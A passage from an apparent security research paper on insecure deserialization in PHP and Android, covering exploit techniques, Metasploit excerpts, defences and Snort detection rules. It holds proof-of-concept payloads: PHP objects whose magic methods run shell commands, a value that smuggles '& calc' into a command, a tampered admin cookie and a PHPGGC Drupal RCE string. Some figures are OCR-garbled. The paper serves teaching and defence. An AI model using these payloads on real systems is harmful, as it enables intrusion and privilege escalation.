var obj = serializer.ReadObject(ms);
```

If an attacker can alter the data type returned from the database, through a SQL injection vulnerability, for example, then even the DataContractSerializer can be exploited.

# 5. PHP

Insecure deserialization in PHP is much simpler than Java and .NET. PHP leverages two primary functions to provide a majority of the state persistence functionality: serialize() and unserialize(). The proof of concept code used to demonstrate exploitation in PHP also leverages a Student class, which is serialized and deserialized using the following three lines of code:

```
$student = new Student("John", "Smith", 35, 3.6);
file_put_contents("obj.ser", serialize($student));
$student = unserialize(file_get_contents("obj.ser"));
```

Since PHP is not a strongly typed language, the code used to perform the same operations as Java and .NET is much simpler. The serialized Student object in obj.ser contains the following content:

```
0:7:"Student":4:{s:18:"StudentfirstName";s:4:"John";s:17:"StudentlastName";s:5
:"Smith";s:12:"Studentage";i:35;s:12:"Studentgpa";d:3.60000000000001;}
```

The O:7 indicates an object with a length of 7 characters (Student), with 4 member variables (:4:), including a string variable with a length of 18 characters (Student0x00firstName), another string variable with a length of 17 characters (Student0x00lastName), and so on. Note that the serialized object's variable names contain the class name, followed by a null byte, followed by the variable name. As shown in the example above, serialized PHP objects are plain-text, formatted as a byte-stream representation of the object's members.

## 5.1. Exploitation

Exploiting PHP deserialization in the same manner as previous examples to open a calculator application is also much simpler from a code perspective, as shown below:

```
$calc = new Calc("cmd /c calc");
file_put_contents("obj.ser", serialize($calc));
$calc = unserialize(file_get_contents("obj.ser"));
```

The malicious obj.ser file shown above would utilize the following Calc.php class:

```
class Calc {
   public $cmd;
   function __construct($cmd){
     $this->cmd = $cmd;
   }
   function __wakeup(){
     shell_exec($this->cmd);
   }
}
```

There is one major caveat in PHP, however. Java and .NET both serialize the full object into a binary format which can be deserialized by a more universal deserialization function. PHP on the other hand, only stores member variables, as shown by the serialized version of the malicious

calculator object.ser file below.

0:4:"Calc":1:{s:3:"cmd";s:11:"cmd /c calc";}

Without the executing program specifically including the Calc.php class using require 'Calc.php'; this deserialization operation will fail with an error similar to: Catchable fatal error: Object of class \_\_PHP\_Incomplete\_Class could not be converted to string. This behavior prevents a generic object from achieving remote code execution if we use the same technique previously leveraged for Java and .NET. However, insecure deserialization in PHP is actually easier to exploit, but different techniques must be utilized when compared to the previous examples of Java and .NET.

One common use case for serialized objects in PHP is to maintain user state, especially in applications that leverage the object-oriented paradigm. An application, for example, may have a session cookie similar to the following:

appSessID=Tzo00iJVc2VyIjozOntzOjE10iJVc2VybG9naW50YW1lIjtzOjU6ImpvaG5zIjtzOjEy 0iJVc2VydXNlcklkIjtpOjEyMztzOjEzOiJVc2VyaXNBZG1pbiI7aTowO30=

The decoded Base64 string results in a serialized object in the following format:

0:4:"User":3:{s:15:"UserloginName";s:5:"johns";s:12:"UseruserId";i:123;s:13:"U
serisAdmin";i:0;}

This object appears to contain a login name, a user ID, and a Boolean flag, which determines if the current user is an admin. The serialized string can be abused by an attacker simply altering the serialized object to the following:

```
0:4:"User":3:{s:15:"UserloginName";s:5:"johns";s:12:"UseruserId";i:000;s:13:"U
serisAdmin";i:1;}
```

Notice that the userId has changed to 0, and the Boolean attribute for isAdmin has changed to 1 (True). The updated object values can then be encoded into the cookie as follows:

#### appSessID=Tzo00iJVc2VyIjozOntz0jE10iJVc2VybG9naW50YW1lIjtz0jU6ImpvaG5zIjtz0jEy 0iJVc2VydXNlcklkIjtp0jAwMDtz0jEz0iJVc2VyaXNBZG1pbiI7aTox030=

The notion of easily modifying serialized objects in PHP as plain text strings can also result in remote code execution. PHP contains special functions known as magic methods, which are automatically called under certain circumstances. Magic methods have reserved names and start with a double underscore (e.g., \_\_magicMethod()). Some notable magic methods are relevant to serialization. When an object is serialized in PHP using the serialize() function the \_\_construct(), \_\_sleep() and \_\_toString() magic methods are automatically (magically) called, and will execute if implemented by the program. Similarly, when the deserialize() function is called, \_\_destruct(), \_wakeup() and \_\_toString() are also called.

Functions such as \_\_sleep() and \_\_wakeup() are frequently implemented by applications as they provide a mechanism to save state and gracefully shutdown or resume communication under error conditions. Applications that suddenly shut down will call \_\_sleep() to save the current state along with possible debug information that is recalled through \_\_wakeup() when the application is relaunched. If the Student class examined previously was to implement a \_\_wakeup() function with a call to shell\_exec, then remote code execution could be achieved by manipulating the serialized string. While it may sound odd for a practical application to call an exec function on wakeup,

this is a common use case as the application may interact with the file system or

operating system to recover from the error. For example:

```
public function __wakeup() {
    $resume_cmd = "resume.exe -fname ". $this->firstName . " -lname " . $this->lastName;
    shell_exec($resume_cmd);
    errorLogWrite('Wake up! Get some coffee!');
}
```

The code above constructs a fictitious resume command, which is then populated based on the contents of the obj.ser file previously serialized. This results in the following command being run by the script: **appresume.exe -fname John -lname Smith** 

If an attacker could access the contents of the serialized PHP object, then the following modification would result in code execution spawning the windows calculator:

```
0:7:"Student":4:{s:18:"StudentfirstName";s:4:"John";s:17:"StudentlastName";s:6:"&
calc";s:12:"Studentage";i:35;s:12:"Studentgpa";d:3.80000000000001;}
```

The modified lastName field in the serialized object results in the command of: appresume.exe -fname John -lname & calc

The command above ultimately opens the Windows calculator application.

Another common use case for \_\_sleep() and \_\_wakeup() is to resume connections to external sources such as a database. In this situation, the connection string is saved in the serialized object, and once the application resumes, the database connection is immediately established. If an attacker can control the object where the connection string is serialized, the application's functionality could be seriously impacted.

PHP also has a tool that mimics the functionality provided by ysoserial in both Java and .NET by generating payloads for well-known PHP frameworks. The tool, PHPGGC (PHP Generic Gadget Chains), was developed by ambionics (github.com/ambionics/phpggc). The tool generates deserialization payloads for various well-known applications such as Drupal, Magento, WordPress, Zend, Symphony, ThinkPHP, and CodeIgniter.

Figure 20 shows a payload generated for a Drupal7 RCE targeting the \_\_destruct function. Notice the payload looks very similar to the one manually generated by the Student and Calc classes.

#### root@kali:~/sans/phpggc# ./phpggc Drupal7/RCE1 'phpinfo();' 123 0:11:"SchemaCache":4:{s:6:"\*cid";s:14:"form\_DrupalRCE";s:6:"\*bin";s:10:"cache\_form";s:16 :"\*keysToPersist";a:3:{s:8:"#form\_id";b:1;s:8:"#process";b:1;s:9:"#attached";b:1;}s:10:" \*storage";a:3:{s:8:"#form\_id";s:9:"DrupalRCE";s:8:"#process";a:1:{i:0;s:23:"drupal\_proce ss\_attached";}s:9:"#attached";a:1:{s:10:"phpinfo();";a:1:{i:0;a:1:{i:0;s:3:"123";}}}}

## 5.2. Defensive Strategies

The lack of rigidity in PHP in terms of type enforcement, along with serialized objects residing in plain-text strings, necessitates caution for PHP applications using serialization and deserialization in the first place. Object serialization should be used sparingly where possible. In situations where it cannot be avoided, strong input validation, along with type-checking, should be enforced.

Additionally, magic methods should include code that checks for the validity of commands executed, especially when serialized objects are read from lower trust areas susceptible to manipulation or modification. Functions such as \_\_sleep() and \_\_wakeup() are often abused when developers are not aware that these magic methods are automatically called during serialization and deserialization operations.

According to the OWASP cheat sheet series, data persistence in PHP should ideally avoid traditional serialization and utilize alternate data formats instead, such as XML and JSON, to achieve state persistence. The json\_encode() and json\_decode() functions used along with strong input validation and authentication policies provide a more secure alternative.

# 6. Android

A majority of the discussion surrounding insecure deserialization vulnerabilities relates to server-side applications such as Java and .NET. However, one highly underresearched area relates to mobile applications. Mobile devices use either the same languages and platforms as server-side applications or very similar alternatives. For example, while the API's and SDK's vary to some extent, Android applications are built on Java with many native programming constructs available on mobile platforms. For instance, CVE-2014-7911 identified a vulnerability in the implementation of ObjectInputStream in Android versions prior to 5.0, which did not correctly validate a

class as serializable (Horn, CVE-2014-7911: Android < 5.0 Privilege Escalation using ObjectInputStream 2014). This vulnerability resulted in remote code execution and privilege escalation. In addition, research conducted by IBM Security in a paper titled "One Class to Rule Them All" identified a deserialization vulnerability in the OpenSSLX509Certificate in the Android operating system allowing untrusted data to be deserialized (Peles &; Hay, One Class To Rule Them All - 0-Day Deserialization Vulnerabilities in Android 2015). The POC resulted in a malicious application being able to send crafted serialization payloads to other applications on the device, ultimately leading to code execution as the system user.

Android applications implement inter-application and inter-process communication using a construct known as an Intent. When an Android application needs to open another process or communicate with another application, it will send an Intent with the information required. If the receiving application has a corresponding Intent receiver, the Intent will be executed. Processes or views in Android are known as Activities, and during the course of an application's workflow, several Activities may be dynamically launched.

Intents are often used alongside Activity launchers in order to pass pertinent application information between various components. The major security flaw with Intents relates to overly permissive receivers, which are not unlike regular applications adhering to weak input validation rules. If an Intent receiver does not sufficiently restrict the type of data it receives, then malicious instructions can be sent to the application. Further, Intents can also contain "extra" information through the Android SDK's putExtra() and getExtra() functions. These extra values are common locations for malicious inputs; however, they are restricted to strings for the most part. Extras in Android can also be passed using a Bundle that can operate on objects taking in serializable data, which is then passed to the Intent.

The following code shows an example of a vulnerable application's Activity which is receiving serialized data using an Intent:

```
public class VulnerableActivity extends AppCompatActivity {
    private static String INTENT_KEY = "customData";
    @Override
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        setContentView(R.layout.activity_vunerable);
        bundle = getIntent().getExtras();
        ExtraStuff data;
        if (bundle != null) {
            data = (ExtraStuff) bundle.getSerializable(INTENT_KEY);
            Log.e("Command Executed", (data.getCmd1()));
            Log.d("DEBUG", bundle.toString());
            Log.d("DEBUG", getIntent().getExtras().toString());
        }
    }
}
```

The code above is a simple Activity simulating the vulnerable application. This Activity, once launched, looks for information from an Intent along with extra content using the getExtras() function. There is no validation of the type of data that is received by the Intent. This is a common problem since developers assume implicit trust between application components. In this case, rather than receiving string data, a Bundle object is used and populated with serialized data, which in this case, is an ExtraStuff object. The ExtraStuff class is similar to the Student class shown in the previous examples and contains only two member fields that represent commands (cmd1 and cmd2). The four logging functions simply print out the received data to the Logcat window.

## 6.1. Exploitation

Taking advantage of the insecure deserialization and lack of sanity checking can be accomplished using the following sample Activity representing the attacker application.

The Activity above populates the ExtraStuff object with potentially evil commands, as demonstrated by the setCmd1 and setCmd2 functions. The "evil android commands" simulate malicious tasks that could be run against the device since the Intent receiver does not validate what is being supplied. This maliciously crafted EvilStuff object is then serialized into a Bundle and passed to the Intent as extras. It should be noted that the setComponent function of the Intent object can directly call the vulnerable Activity using the package name.

Android Emulator - Nexus\_9\_API\_25:5554



When the malicious application component is launched, the vulnerable Activity is triggered using the "evil commands" as showcased by the emulated Android application in Figure 21, displaying the VulnerableActivity screen.

The Logcat window in Figure 22 also shows the output from the injected commands along with the contents of the Intent and Bundle.

```
    BE Emulator Nexus 9,APL,25 emulator-5554 [DISCONNECTED]
    v
    edusans.karim.androidserialization (31383) [DEAD]
    v

    09-08 15:12:46.568 31383-31383/edu.sans.karim.androidserialization E/Command Executed: Evil Android Command 1
09-08 15:12:46.569 31383-31383/edu.sans.karim.androidserialization E/Command Executed: Evil Android Command 2
09-08 15:12:46.569 31383-31383/edu.sans.karim.androidserialization D/DEBUG: Bundle [{customData=edu.sans.karim.androidserialization.ExtraStuff@e9825ce}]
09-08 15:12:46.569 31383-31383/edu.sans.karim.androidserialization D/DEBUG: Bundle [{customData=edu.sans.karim.androidserialization.ExtraStuff@e9825ce}]
09-08 15:12:46.569 31383-31383/edu.sans.karim.androidserialization D/DEBUG: Bundle [RearcelledData.dataSize=300]
```

FIGURE 20

Intent receivers can also utilize helpers to launch additional Activities required by the application workflow. An example of such a helper function is shown below:



This type of Intent helper that uses unvalidated serialized data could permit remote code execution. The execution demonstration will leverage the common theme in this paper which is to trigger the Calculator application by replacing the setCmd1 and setCmd2 functions in the malicious MainActivity with the following two lines:

```
data.setCmd2("com.android.calculator2");
data.setCmd1("com.android.calculator2.Calculator");
```

Android Emulator - Nexus\_9\_API\_25:5554

This results in the Android calculator app opening as shown in Figure 23:

```
\begin{bmatrix} I & I & I \\ I & I
```

FIGURE 23

The malicious Intent scenarios shown above may appear unrealistic without a background understanding of Android. Intents are used within a single application package but can also be used for inter-process communication in which applications can talk to each other. If a vulnerable application contains an Intent receiver that is not sufficiently protected from outside influence, a malicious application installed on the user's device could result in serialized data being passed between applications. The attacker's only requirement is to know the destination Intent receiver's full package name, which is relatively easy to reverse engineer.

The above example could have been executed by an external application, using a programming construct known as reflection in which classes, fields, and methods are determined at runtime – provided the attacker knows the package names of the victim application.

Permissions for Activities in Android are controlled by an XML file called AndroidManifest, which allows the exported flag to be set on various components with: Android:exported=true. When this value is "true," applications outside of the current application's package can call its Intent receivers. This setting is common on mobile applications that need to interact with other applications on the user's device, such as a banking application needing access to the user's Google Maps application to locate nearby ATMs, or a fitness application integrating with the device's accelerometer. Attackers frequently target this overly permissive setting.

#### 6.2. Defensive Strategies

Defending against deserialization vulnerabilities in Android can be achieved through many of the same prevention strategies natively applied in Java. For example, similar to the defense strategies identified for Java, such as exercising caution when using ObjectInputStream, Android applications should also apply a sufficient validation layer when deserializing binary objects instead of relying on type-casting. Developers should not gain a false sense of security simply because the Java code runs on a mobile device.

Insecure deserialization is often exploited in Android using unvalidated Intent receivers. When an Intent receiver is defined, the code should assume that any Intent

object received contains malicious content, and then validate it accordingly. Intent receivers should also prevent arbitrary classes and package names from being executed, especially from sources outside of the application context. When an Intent receiver is "exported," other applications on the device may send an Intent. This functionality can and should be disabled by explicitly setting the exported attribute to false using 'android:exported=false' and manually adding an safelist of callers allowed to call the Intent receiver.

## 7. When Tools Fail

Penetration testing engagements target a broad scope, and depending on the type of assessment, different norms are applied. For example, in a standard infrastructure security assessment, a consultant will often leverage well-known exploits or misconfigured systems to gain entry into an environment. While the development of zero-day exploits is often in scope as far as permitted activities, professional penetration testing generally does not allow sufficient time for exploits to be written from scratch. Zero-days are seldom leveraged because the assessment usually targets well-known applications such as operating systems, databases, networking devices, workstations, and installed end-user applications, which may contain vulnerabilities exploitable by wellknown CVE's.

Web application security assessments are often different in this regard, as the penetration tester is assessing a client environment with a custom-built application. Vulnerabilities discovered in custom software are technically classified as zero-days since they are unknown to anyone until the assessment identifies the weakness. So, while it is uncommon to have zero-day exploits identified in a standard network penetration test, it is very common to see these types of vulnerabilities identified in application penetration tests, despite not often being referred to explicitly as zero-days.

The notion of web application assessments looking for unknown vulnerabilities is an important distinction since the understanding of deserialization vulnerabilities among penetration testers tends to be limited, resulting in a stronger than usual reliance on automated tools such as Metasploit. Tools are able to exploit weaknesses where objects

are insecurely deserialized in well-known applications such as Apache, Oracle WebLogic, JBoss, etc. However, the techniques used by these tools are identical to the manual methods discussed throughout this paper. Similarly, exploit generators such as ysoserial create payloads for applications using known Java or .NET gadgets. However, these tools do no work for proprietary applications that do not leverage the targeted components such as Apache Commons Collections.

For example, Figure 24 shows a few lines from the Metasploit exploit located at exploits/multi/misc/weblogic\_deserialize\_rawobject, which targets Oracle Weblogic. The most recent Github commit at the time of this writing is 3995321.

459	<pre># basic webl</pre>	logic ImmutableServiceContext object (seria	lize	d)
460	payload << '	'aced0005'	# J	SO v5 header
461	payload << '	'73'	# O	bject header
462	payload << '	'72'	#	class
463	payload << '	00257765626c6f6769632e726a766d2e496d6d75'	#	Name: weblogic.rjvm.ImmutableServiceContext
464	payload << '	'7461626c6553657276696365436f6e74657874'	#	(cont)
465	payload << '	'ddcba8706386f0ba'	#	serialVersionUID
466	payload << '	'0c'	#	EXTERNALIZABLE   BLOCKDATA
467	payload << '	'0000 '	#	fieldCount = 0
468	payload << '	'78'	#	object footer
469	payload << '	'72'	# b	lock header
470	payload << '	00297765626c6f6769632e726d692e70726f76'	#	Name: weblogic.rmi.provider.BasicServiceContext
		FIGURE 24		

Starting at line 460 in Figure 24, the payload is populated with a serialized object using the same magic numbers and version shown previously in the Java section of 0xACED, followed by the object and class identifiers of 0x7372, before populating the remainder of the object with the code needed for execution.

Additionally, the code in Figure 25 is taken from the Metasploit exploit located at exploits/windows/misc/ibm\_websphere\_java\_deserialize targeting IBM Web Spere on Windows. The most recent commit at the time of this writing is 6300758. The functions set a payload containing Base64 encoded strings representing a ysoserial style exploit that takes advantage of Apache Commons Collections.

```
def set_payload
       # CommonCollections1 Serialized Streams
       ccs_start = "r00ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsc
66
         ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk5
67
       # Generate Payload
        payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
         payload_exec = Rex::Text.encode_base64(payload_exec)
70
      end
                                                  FIGURE 21
```

The payload in Figure 25 is then formatted and injected in the SOAP XML

request shown below in Figure 26.

91	<pre>def soap_request(inject_payload)</pre>
92	# SOAP Request
93	req = " xml version='1.0' encoding='UTF-8'? " + "\r\n"
94	req += " <soap-env:envelope xmlns:soap-env='\"http://schemas.xmlsoap.org/soap/envelope/\"' xmlns:xsd='\"http:&lt;/td' xmlns:xsi='\"http://www.w3.org/2001/XMLSchema-instance\"'></soap-env:envelope>
95	req += " <soap-env:header ns@:jmxmessageversion='\"1.0.0\"' ns@:jmxversion="&lt;/td" ns@:securityenabled='\"true\"' ns@:wasremoteruntimeversion='\"7.0.0.0\"' xmlns:ns@='\"admin\"'></soap-env:header>
96	req += " <loginmethod>BasicAuth</loginmethod> " + "\r\n"
97	req += "" + "\r\n"
98	req += " <soap-env:body>" + "\r\n"</soap-env:body>
99	req += " <ns1:getattribute soap-env:encodingstyle='\"http://schemas.xmlsoap.org/soap/encoding/\"' xmlns:ns1='\"urn:AdminService\"'>" + "\r\n"</ns1:getattribute>
100	req += " <objectname xsi:type='\"ns1:javax.management.ObjectName\"'>" + inject_payload + "</objectname> " + "\r\n"
101	<pre>req += "<attribute xsi:type='\"xsd:string\"'>ringBufferSize</attribute>" + "\r\n"</pre>
102	req += "" + "\r\n"
103	req += "" + "\r\n"
104	<pre>req += "" + "\r\n"</pre>
105	
106	uri = target uri.path

#### FIGURE 226

Finally, the exploit is run using the following line: soap\_request(set\_payload)

As shown in both examples, the techniques used by these automated exploitation tools are very similar, if not identical, to the manual methods shown in the previous sections, leveraging Base64, XML, and binary representations of malicious serialized objects.

Many web applications improperly implement object deserialization; however, penetration tests will fail to identify these vulnerabilities without consultants with sufficient knowledge of these techniques. Deserialization exploitation relying solely on tools limits penetration testers in only taking advantage of these vulnerabilities in commercial applications. It also limits defenders from only identifying these vulnerabilities in commercial software with known CVE identifiers.

## 8. Research Outcome Summary

The following table summarizes the key findings and measurement metrics used for comparison between the various platforms. The primary metrics of interest in this experiment was to identify a well-known tool to assist in exploitation, determine the general level of privilege obtained when a deserialization exploit is executed, and obtain a reliability metric. In this case, the reliability metric aims to identify the performance impact of the exploitation attempt by launching the POC program 100 times and measuring the number of nanoseconds from the first to the last spawned process.

Platform	<b>Primary Tool</b>	Privilege	POC Program	Reliability (ns)
Java	Ysoserial	User	Calc.exe	47,366,356,899
.NET	Ysoserial	User	Calc.exe	52,859,266,600
PHP	PHPGGC	User	Calc.exe	52,704,846,858*
Android	None	Application	Calculator App	1,043,122,500**

Multiple tools have been created by the security community to assist in generating deserialization exploits targeting different platforms. The tool listed in this section identifies the most popular sources. Both Java and .NET have a version of ysoserial, which appears to be the most widely used tool for generating deserialization exploits. Similarly, PHP has a PHPGGC tool. All of these tools target well-known software as opposed to custom-built applications. While Android does not appear to contain many reputable ready-made tools for deserialization, many of the Java exploits can be ported to Android platforms, including ysoserial with Apache Commons Collections.

In each exploitation attempt, the code execution demonstration leveraged a calculator application to showcase the ability to spawn a new process, analyze the parent process, and determine permissions. In all platforms which ran on the Windows host (Java, .NET, and PHP), the calculator application was launched with the permissions of the current user. In addition, the parent process was svchost.exe making forensic analysis of the source application more challenging. The behavior in Android was similar, resulting in the calculator application launching within the context of the Android OS.

This assessment's reliability metric consisted of obtaining a time value required to spawn 100 calculator processes on the various platforms. This metric is less important

from an exploitation perspective but provides insight into how the serialization mechanism interacts with the operating system in terms of performance. Interestingly, Java produced the fastest results with around 47 seconds, with PHP and .NET resulting in very similar values at 52 seconds. The single asterisk (\*) next to the PHP time measurement is related to a lowered time precision in PHP. Java and .NET both contain system call libraries returning the current time with nanosecond precision, while PHP provides a maximum precision of micro-time. The double asterisk (\*\*) next to the Android time is due to the default behavior only spawning a single process. Android does not handle processes the same way as desktop operating systems. Rather, when an Activity is launched, it is brought into focus, allowing the user to go back to the previous Activity by clicking the back button on the phone. If a task is launched which is already open, but in the background, it is simply brought into focus (Understand Tasks and Back Stack: Android Developers, 2019). This default behavior could be changed but would deviate from the purpose of this experiment.

The primary reason for obtaining a reliability metric is to determine how the programming stack interacts with the operating systems and the potential negative implications of deserialization exploitation attempts. When an exploit is created on a platform such as Metasploit, the exploit code's reliability is noted, indicating its likeliness to work and the risk of inadvertent denial of service conditions. The behavior of Java, .NET and PHP all spawning 100 calculator processes within 45-55 seconds leads to a reasonable assumption about deserialization attacks providing a relatively reliable form of remote code execution. Android, being a mobile platform with a different set of rules, did not behave in the same manner as a desktop operating system. As a result, the same conclusions cannot be drawn without further exploration of the exploitation impacts on Android.

The results of these proof of concept programs showcase the importance of input validation when receiving application data from external sources. Although developers have begun to adhere to stronger input validation routines for common attack vectors such as SQL Injection, Cross-Site Scripting (XSS) etc., it is equally important to validate input in the form of binary objects or streams which are extracted from files or across a

network socket. As shown in this paper, trivial validation checks such as type casting are insufficient in protecting against deserialization attacks.

Another important factor to consider is regular patching. Although many deserialization vulnerabilities are inadvertently introduced into custom-built applications, a large percentage are still found in commercial software, which can be remediated by regularly patching applications, libraries, and dependencies. In addition to patching, regular scans should be conducted to identify third-party library components with known vulnerabilities. This is covered by OWASP-2017-A9 – Using Components with Known Vulnerabilities. Commercial SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools often bundle with a software composition or open-source library analysis tools. In addition, open-source tools such as the OWASP Dependency Check can be leveraged for Java and .NET. Support for Python, Ruby, PHP, and Node.js is currently in development.

Lastly, a recommended approach to protecting serialization functionality, in situations where it is required and cannot be avoided, consists of implementing simple cryptographic controls and digital signatures. Using digital signatures and asymmetric cryptography is a simple technique that prevents rogue objects from being passed to the application. There are a finite number of systems in a distributed environment that will operate on serialized data. Since the application nodes responsible for operating on serialized data are generally known, implementing an asymmetric cryptosystem is more practical. When digital signatures are correctly implemented, serialized data then utilizes public and private keys to ensure that malicious objects, such as those generated by tools like ysoserial, cannot be sent to the applications, as they lack a valid signature. Digital signatures also help maintain data integrity and prevent serialized objects from being modified in transit by a Man-in-the-Middle (MiTM), for example.

The following table provides an overview of the defensive strategies identified in the individual platform sections that can be leveraged by developers to avoid deserialization attacks.

Platform	Developer Defenses Summary
Java	Avoid library imports with an overly broad scope
	• Utilize runtime detection tools (eg: SerialKiller and NotSoSerial)
	<ul> <li>Manually override ObjectInputStream and resolveClass()</li> </ul>
	<ul> <li>Do not rely on type casting to validate object integrity</li> </ul>
	• Use signatures on objects being retrieved from untrusted sources
.NET	• Avoid library imports with an overly broad scope
	<ul> <li>Avoid dangerous functions such as Binary Formatter</li> </ul>
	• Utilize JSON/XML where possible (eg: DataContractSerializer)
	• Leverage a current .NET framework build with SerializationGuard
	• Do not rely on type casting to validate object integrity
	• Use signatures on objects being retrieved from untrusted sources
PHP	<ul> <li>Avoid library imports with an overly broad scope</li> </ul>
	• Replace native serialization functions with JSON encode/decode
	• Take caution with magic methods such assleep() andwakeup()
	• Use signatures on objects being retrieved from untrusted sources
Android	<ul> <li>Avoid library imports with an overly broad scope</li> </ul>
	<ul> <li>Avoid native Java constructs vulnerable to deserialization attacks</li> </ul>
	• Take caution when serializing objects with Intents and get/put extras
	• Ensure that Activities, Intents, and Broadcast receivers are restricted
	• Avoid the android:exported=true directive
	• Whitelist known good classes/namespaces that can call IPC functions

# 9. Network-Based Deserialization Detection

One of this paper's goals was to determine and analyze the various payloads generated by deserialization attacks to identify viable candidates for cross-platform detection. After demonstrating exploitation on several different platforms, it's clear that this isn't easy to achieve. However, one primary shortcoming of most detection efforts is that IDS rules, for example, primarily target the detection of deserialization weaknesses on specific platforms. By analyzing the various payloads and formats transmitted across the network, it becomes easier to identify signature patterns that can quickly detect deserialization attacks.

This section will provide a breakdown of the detection options for the various platforms; however, similar to the previous sections, the full IDS signature examples will be provided for Java. The IDS signature formats used in this section are based on Snort.

#### 9.1. Java

The Java exploitation section in this paper identified the standard starting bytes in a serialized payload of AC ED 00 05 with the AC ED representing the magic number used to identify the start of the serialized data and 00 05 representing the protocol version. These bytes can be used in network detection as the most basic deserialization detection mechanism, as shown in the example Snort signature below. Additionally, the bytes commonly following the ACED 0005 are 7372, assuming an object is contained within the payload. These additional bytes are useful in reducing false positives.

alert tcp any any -> \$HOME\_NET any (msg:"Java Deserialized Payload"; flow:to\_server,established; content:"|ac ed 00 05 73 72|"; distance:0; sid:1111111; rev:1;)

Deserialization payloads in Java can also be detected as Base 64. The most primitive check would include a rule that looks for the starting bytes of rO0. Alternatively, if the full payload in the binary content rule is converted to Base64, the result is rO0ABXNy, which can then be used in a Snort signature as follows:

alert tcp any any -> \$HOME\_NET any (msg:" Java Deserialized Payload B64 "; flow:to\_server,established; content:"r00ABXNy"; sid:1111112; rev:1;)

Deserialization attacks are less frequently passed directly in HTTP headers without first being converted to binary or Base64 formats. However, it may also be possible to leverage a rule to detect the less frequently occurring instances over HTTP by analyzing the Content-Type: header.

alert tcp any any -> any any (msg:"Java Deserialization HTTP"; flow:to\_client,established; content:"Content-Type: Content-Type: application/x-java-serialized-object"; http\_header; metadata:service http; sid:1111113; rev:1;)

Several Snort Signatures have been included in the Emerging Threats ruleset to detect various Java based payloads. A few examples are shown below.

any -> \$HOME\_NET any (msg:" ETPRO EXPLOIT Serialized Java Object Calling Common Collection Function"; flow:to\_server,established; content:"r00ABXNyA"; content:"jb21tb25zLmNvbGx1Y3Rpb25z"; fast\_pattern; distance:0; reference:url,github.com/foxglovesec/JavaUnserializeExploits; classtype:miscactivity; sid:2814811; rev:1;) alert tcp any any -> \$HOME\_NET any (msg:" ETPRO EXPLOIT Serialized Java Object Calling Common Collection Function"; flow:to\_server,established; content:"|ac ed 00 05 73 72 00|"; fast\_pattern; content:"commons.collections"; nocase; distance:0; reference:url,github.com/foxglovesec/JavaUnserializeExploits; classtype:misc-activity; sid:2814812; rev:1;)

alert tcp any any -> \$HOME\_NET any (msg:" ETPRO EXPLOIT Serialized Java Object Generated by ysoserial"; flow:to\_server,established; content:"|ac ed 00 05 73 72 00|"; fast\_pattern; content:"java/io/Serializable"; nocase; distance:0; content:"ysoserial/payloads/util/Gadgets"; reference:url,github.com/foxglovesec/JavaUnserializeExploits; classtype:miscactivity; sid:2814813; rev:1;)

While these detection rules have similarities to the general signatures provided and are also more granular, they target specific platforms such as Apache Commons Collections, Spring, and Groovy. Therefore, it is crucial for defenders to understand what components are being used in their organization and whether the pre-built signatures will suffice or if additional customization is required. The three Emerging Threats signatures shown above would not detect the custom calculator triggering object shown in this paper.

#### 9.2. NET

The .NET platform has fewer known signatures for deserialization exploits; however, the techniques shown above can be applied to detecting these attacks on Windows.

In most cases, serialized data will not be passed to applications arbitrarily from untrusted networks (such as the Internet), allowing defenders to look for signs of serialized data in unexpected contexts. This can be accomplished by implementing a Snort content search for the starting bytes of serialized data such as 00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 for Binary data and AAEAAAD////// in Base64.

While these signature detection options will work in most cases, it is vital to determine what types of data the application will accept. As discussed previously, serialized content can be passed to applications in other formats such as XML and JSON. In these situations, searches for the Base64 encoded string noted above will work in some circumstances but not in others, depending on how the application consumes input.

A more comprehensive search could include pattern matches or regular expressions looking for gadgets commonly used in Remote Code Execution (RCE), which include the following according to OWASP:

- System.Configuration.Install.AssemblyInstaller
- System.Activities.Presentation.WorkflowDesigner
- System.Windows.ResourceDictionary
- System.Windows.Data.ObjectDataProvider
- System.Windows.Forms.BindingSource
- Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsPro vider
- System.Data.DataViewManager, System.Xml.XmlDocument/XmlDataDocument
- System.Management.Automation.PSObject

A combination of broad signature-based detection along with contextual behavioral detection, such as an application receiving binary data in an unexpected format or an untrusted IP, will provide defenders with a secure baseline to prevent these attacks.

#### 9.3. PHP

The simplicity of PHP deserialization attacks can be both beneficial and detrimental to detection efforts. While there are fewer components in a serialized PHP object, the low specificity can yield a higher number of false positives. The common factor in a high majority of PHP serialized payloads is the starting bytes of 0x4F3A representing the **O**: as the first set of bytes in a serialized object being transmitted to an application as either plain-text or Base64 encoded data. Writing a Snort rule to match on this string only will likely result in false-positives. However, regular expression patterns can be useful in providing additional granularity, as shown below:

alert tcp any any -> any any(msg:"Potential PHP Object Injection"; base64\_decode; pcre:"(/0:d{1}:\"/i"; sid: 1111114; rev:1;)

The signature above first decodes any Base64 data and then matches on **O:N:**" where N is a number. Depending on the application itself and the type of serialized data being expected, this rule's granularity could be increased to provide better detection capability. However, as mentioned in the section discussing PHP, serialized objects should generally

be avoided where possible and replaced with JSON strings that are better suited for both security and detecting malicious injection.

#### 9.4. Android

Network-based detection in Android isn't as straightforward as the other platforms discussed. Mobile SDK's are different in their construction, and the devices running the applications are generally operating on a network that is difficult to monitor, such as LTE. Android applications operating internally in a controlled environment could employ Snort rules based on Java to detect ysoserial style payloads. The use case for this, however, is very limited. In addition, deserialization vulnerabilities targeting Android often leverage different techniques aside from classic Java-based exploits.

Preventing deserialization vulnerabilities on Android is more in the developer's hands and the end-user of the device. As noted in Section 6, applications should be protected by restricting the visibility and calling capabilities of IPC functions such as Intents, Activities, and Broadcast Receivers. These restrictions will prevent malicious calls to the application with serialized payloads. Android users can also install malware protection on their devices to help prevent code execution by potentially malicious applications

#### 9.5. Platform-Agnostic Detection and Future Research

